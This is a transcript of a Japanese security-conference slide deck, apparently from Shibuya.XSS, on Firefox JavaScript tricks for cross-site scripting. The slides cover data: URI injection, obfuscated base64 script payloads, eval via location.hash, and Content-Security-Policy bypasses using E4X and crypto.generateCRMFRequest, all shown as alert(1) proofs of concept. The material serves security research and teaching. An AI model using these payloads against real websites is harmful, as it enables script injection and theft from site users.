Presentation is loading. Please wait.

Presentation is loading. Please wait.

XSSで使えるかもしれないJavaScriptテクニック

Similar presentations


Presentation on theme: "XSSで使えるかもしれないJavaScriptテクニック"— Presentation transcript:

1 XSSで使えるかもしれないJavaScriptテクニック
"フォクすけ" (C) 2006 Mozilla Japan FIREFOX JS HACKS XSSで使えるかもしれないJavaScriptテクニック はせがわようすけ

2 まもなくあきらかになる 攻撃に役立つコードの書き方が 提供 Shibuya.XSS ネットエージェント

3 dataスキームで遊ぶ #1 dataスキーム(RFC2397) <a href=
"data:text/html,<html><div>hello</div></html>"> data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==

4 dataスキームで遊ぶ #1 Firefoxのdataスキームは柔軟すぎる 全部うごく
data:_,<script>alert(1)</script> data:data:data:1,<script>alert(1)</script> data:x;b as e , PHN jcml wdD5hb G VydC hkb %09 2N1bWVud %20 C 5kb21haW4pPC 9zY3JpcHQ + 全部うごく

5 予約語を関数名に #2 function true() を呼びたい!
(function(){ function true(){alert('Call me');}; /* YOUR CODE */ })(); (function(){ function true(){alert('Call me');}; with(arguments.callee)function::['true'](); })();

6 Sharp Variables #3 "#" ではじまるJavaScriptが書ける 実行の痕跡がサーバ側に残らない
#1={},alert(1); // eval( location.hash ) // 19文字で任意のコード

7 文字列の連結 #4 E4Xによりプラス記号(+)を使わず文字列を連結
alert( <>{"abcd"}{"efgh"}</> ) // "abcdefgh"

8 Yet another eval feature
#5 X-Content-Security-Policy: self; eval( "alert(1)" ); // NG setTimeout("alert(1)", 0 ); // NG Function("alert(1)")(); // NG CSPでunsafe-inline指定なしのときでも使える! crypto.generateCRMFRequest( 'CN=0',0,0,null, 'alert(1)', 384,null,'rsa-dual-use' ); // OK

9 Content-Security-Policyを破る
#6 E4Xを使うとCSPを破ることができる <div>//XSS here <script src="self?q=</div></body></html>; alert(1);<html><body><div>"></script> </div> <html> <head> <title>CSP test</title> </head> <body> <div> </div></body></html>;alert(1);<html><body><div></div> </body> </html> valid JavaScript with E4X

10 参考文献 oiram - Pastebin.com http://pastebin.com/f690cd0db
Fun with data: URLs Fun impossible Firefox JS challenge HTML5 Security Cheatsheet Sharp variables in JavaScript - MDN Introduction of Content-Security-Policy in 5 minutes

11 提供 Shibuya.XSS ネットエージェント


Download ppt "XSSで使えるかもしれないJavaScriptテクニック"

Similar presentations


Ads by Google